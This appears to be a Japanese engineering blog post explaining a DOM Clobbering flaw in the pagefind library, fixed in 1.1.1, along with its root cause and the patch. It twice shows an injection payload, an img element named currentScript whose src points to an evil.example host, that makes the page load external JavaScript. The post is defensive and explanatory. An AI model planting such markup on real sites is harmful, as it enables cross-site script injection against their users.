DOMの古い仕組みを悪用した脆弱性
チーフリライアビリティエンジニア 黒澤pagefindは静的サイトでも手軽にサイト内検索を実現できる全文検索ライブラリーです。先日、pagefindの脆弱性が修正されましたが、DOMの古い仕組みを悪用したものでした。その内容を興味深く感じたため、この記事で紹介します。なお、紹介する攻撃手法はDOM Clobberingと呼ばれています(DOM上書きという意味です)。
この記事で紹介する脆弱性はpagefind 1.1.1で修正されています。pagefind 1.1.1未満をご利用のかたは1.1.1に更新することをおすすめします。
概要
修正前のpagefindを利用しているサイトでは、サイトにHTMLを書き込める場合、外部のJavaScriptを読み込まれてしまう脆弱性がありました。書き込まれたHTMLにJavaScriptが含まれなくてもこの問題は発生していました。具体的には次のようなHTMLを書き込めると外部のJavaScriptが実行できてしまいました。
<img name="currentScript" src="https://evil.example/path/to/ui.js" alt="">
繰り返しになりますが、この脆弱性はpagefind 1.1.1で修正されています。pagefind 1.1.1未満をご利用のかたは1.1.1に更新することをおすすめします。
背景
具体的な脆弱性を見る前に、脆弱性が成り立つ仕組みを説明します。HTMLでは、一定の条件を満たしたHTML要素がdocument
オブジェクトのプロパティになります。
例えば、次のようなHTMLを考えてみます。
<form name="search" action="path/to/search">
<label>キーワード
<input name="keyword">
</label>
</form>
この場合、form要素のname属性値を使ってdocument.search
と記述すると、form要素を参照できます。form要素内部のinput要素もname属性値を使ってdocument.search.keyword
と参照できます。
これは古い時代から存在する仕組みで、現在は名前付きプロパティ(named properties)と呼ばれています。document.querySelector
やdocument.querySelectorAll
などが標準化されるよりもずっと昔にページ内の要素を参照するために利用されていました。
名前付きプロパティは、一定の条件下で、同名の通常プロパティを上書きします。document
オブジェクトもその条件を満たしますので、例えば次のようなHTMLでは、document.body
はbody要素ではなくform要素になります。
<form name="body" action="path/to/search">
<label>キーワード
<input name="keyword">
</label>
</form>
document
オブジェクトでは次の要素がname属性やid属性を持っている時、名前付きプロパティになりえます。
- embed要素
- form要素
- iframe要素
- img要素
- object要素
pagefindの脆弱性
pagefindの脆弱性を見てみましょう。pagefindではUIのJavaScriptファイルを読み込むと、検索処理を行うJavaScript(pagefind.js)のパスを自動的に解決して読み込みます(初期設定の場合)。この時、読み込むファイルのパスはUIのJavaScriptファイルのURLを使って解決しています。
疑似的なコードを書くと次のようになります。
const basePath = new URL(UIのJavaScriptファイルのURL).pathname.
match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);
pagefindではUIのJavaScriptファイルのURLをdocument.currentScript.src
を使って取得しています。
document.currentScript
は現在実行されているscript要素を表します(クラシックスクリプトの場合)。document.currentScript.src
を参照すると、現在実行されているJavaScriptファイルのURLを取得できます。
const basePath = new URL(document.currentScript.src).pathname.
match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);
さて、前述の名前付きプロパティを使うと、document.currentScript
を上書きできます。iframe要素やimg要素にはsrc
プロパティがありますので、例えばimg要素を使うとdocument.currentScript.src
を上書きできます。
<img name="currentScript" src="https://evil.example/path/to/ui.js" alt="">
次のように解釈されるためです。
const basePath = new URL('https://evil.example/path/to/ui.js').pathname.
match(/ファイル名を取り除く正規表現/)[1];
await import(`${basePath}pagefind.js`);
その結果、外部のJavaScript(https://evil.example/path/to/pagefind.js)が読み込まれます。
対策
pagefindではこの脆弱性の対応として、document.currentScript
がscript要素であることをチェックするようになりました(Add safety checks around accesses for document.currentScript.src
by bglw · Pull Request #696 · CloudCannon/pagefind)。document.currentScript
がscript要素でなければdocument.currentScript.src
の値は使いません。
また、ユーザーが書き込むHTMLを制限する方法として、OWASPのDOM Clobbering Prevention Cheat SheetではDOMPurifyなどを使ってname属性やid属性を取り除く方法などが紹介されています。
おわりに
pagefindと同様の脆弱性はwebpackに対しても報告されています(CVE-2024-43788 DOM Clobbering Gadget found in Webpack's AutoPublicPathRuntimeModule that leads to XSS · Advisory · webpack/webpack)。今後、他のライブラリーでも同様の問題が見つかる可能性もあり、引き続き注意が必要と考えています。